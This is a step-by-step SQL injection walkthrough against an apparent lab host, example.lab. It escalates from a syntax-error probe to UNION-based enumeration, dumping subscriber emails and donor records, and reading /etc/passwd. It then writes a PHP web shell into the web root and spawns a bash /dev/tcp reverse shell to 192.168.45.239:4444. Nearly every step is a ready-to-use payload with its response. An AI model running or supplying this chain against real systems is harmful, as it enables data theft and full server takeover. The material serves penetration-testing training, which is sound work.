From SQL Error to Reverse Shell: Full SQLi Exploit on example.lab

Published on April 23, 2025


In this walkthrough, we’ll exploit a SQL injection vulnerability (mysql server) in the mail parameter on http://example.lab/index.php. You’ll see how to go from a simple syntax error all the way to dumping data, reading server files, writing a webshell, and finally spawning a reverse shell.

Step 1: Confirm Injection Point via Syntax Error

http://example.lab/index.php?mail='

Response: MySQL syntax error near ' confirms the parameter is injected unescaped inside a quoted string.

Step 2: Basic Boolean Bypass

http://example.lab/index.php?mail=qsdf@toto.dsq'+or+1=1+--

Response: Another syntax error—our comment didn’t terminate correctly. We need to adjust how we close the quote and comment.

Step 3: Close Comment Properly

http://example.lab/index.php?mail=qsddsq'+or+1=1+--+//

Response: <span>active</span><span>On-Hold</span><span>none</span>
We’ve bypassed the WHERE clause and see real “status” values returned.

Step 4: Test Access to System Tables

http://example.lab/index.php?mail=qsdf@toto.dsq'+or+1=1+in+(SELECT+*+FROM+mysql.user)+--+//

Response: SELECT command denied to user 'martin'@'localhost' for table 'user'
The database user can’t read mysql.user, so we must target the application schema.

Step 5–7: Count Columns with ORDER BY

http://example.lab/index.php?mail=qsdf@toto.dsq'+ORDER+BY+1--+//
http://example.lab/index.php?mail=qsdf@toto.dsq'+ORDER+BY+2--+//
http://example.lab/index.php?mail=qsdf@toto.dsq'+ORDER+BY+7--+//

Responses: first two yield blank page (valid), the third errors with “Unknown column '7'”.
⇒ The original query returns at most 6 columns.

Step 8: Locate the Visible Column

http://example.lab/index.php?mail=qsdf@toto.dsq'+UNION+SELECT+'a1','a2','a3','a4','a5','a6'+--+//

Response: <span>a5</span>
Only the 5th column is rendered. That’s our injection slot.

Step 9: Identify Current Database

http://example.lab/index.php?mail=qsdf@toto.dsq'+UNION+SELECT+null,null,null,null,database(),null+--+//

Response: <span>animal_planet</span>
We’re in the animal_planet schema.

Step 10: Fingerprint Version & User

http://example.lab/index.php?mail=qsdf@toto.dsq'+UNION+SELECT+null,null,null,null,GROUP_CONCAT(database(),0x3a,version(),0x3a,user()),null+--

Response: <span>animal_planet:8.0.29:martin@localhost</span>

Step 11: Enumerate Tables

http://example.lab/index.php?mail=qsdf@toto.dsq'+UNION+SELECT+null,null,null,null,GROUP_CONCAT(table_name),null+from+information_schema.tables+where+table_schema=database)+--+//

Response: <span>subscribers</span>
Only one table exists: subscribers.

Step 12: Enumerate Columns

http://example.lab/index.php?mail=qsdf@toto.dsq'+UNION+SELECT+null,null,null,null,GROUP_CONCAT(column_name),null+from+information_schema.columns+where+table_schema=database()+--+//

Response: <span>id,emails,is_donor,donor_type,status,created_at</span>

Step 13: Dump Subscriber Data

http://example.lab/index.php?mail=qsdf@toto.dsq'+UNION+SELECT+null,null,null,null,
  GROUP_CONCAT(id,0x3a,emails,0x3a,is_donor,0x3a,donor_type,0x3a,status,0x3a,created_at+SEPARATOR+0x2c),null+from+subscribers+--+//

Response: all six rows of subscriber records, concatenated and separated by commas.

Step 14: Read Sensitive File

http://example.lab/index.php?mail=qsdf@toto.dsq'+UNION+SELECT+null,null,null,null,LOAD_FILE('/etc/passwd'),null+--+//

Response: contents of /etc/passwd—proof that LOAD_FILE() works.

Step 15: Write PHP Web-Shell

http://example.lab/index.php?mail=qsdf@toto.dsq'+UNION+SELECT+null,null,null,null,"<?php system(\$_GET['cmd']);?>",null+INTO+OUTFILE+"/var/www/html/webshell.php"+--+//

Blank response indicates the file was created successfully in the web root.

Step 16: Obtain a Reverse Shell

curl "http://example.lab/webshell.php?cmd=bash%20-c%20'bash%20-i%20%3E%26%20/dev/tcp/192.168.45.239/4444%200%3E%261'"  
nc -lvnp 4444

Listener shows a connection from the target. Full interactive shell achieved!

Summary

  • Start with syntax errors to confirm injection.
  • Use ORDER BY and UNION SELECT to map columns.
  • Leverage information_schema to enumerate schema.
  • Exfiltrate data with GROUP_CONCAT.
  • Read files via LOAD_FILE(), write code with INTO OUTFILE.
  • Shell the server by chaining a PHP backdoor to a reverse shell.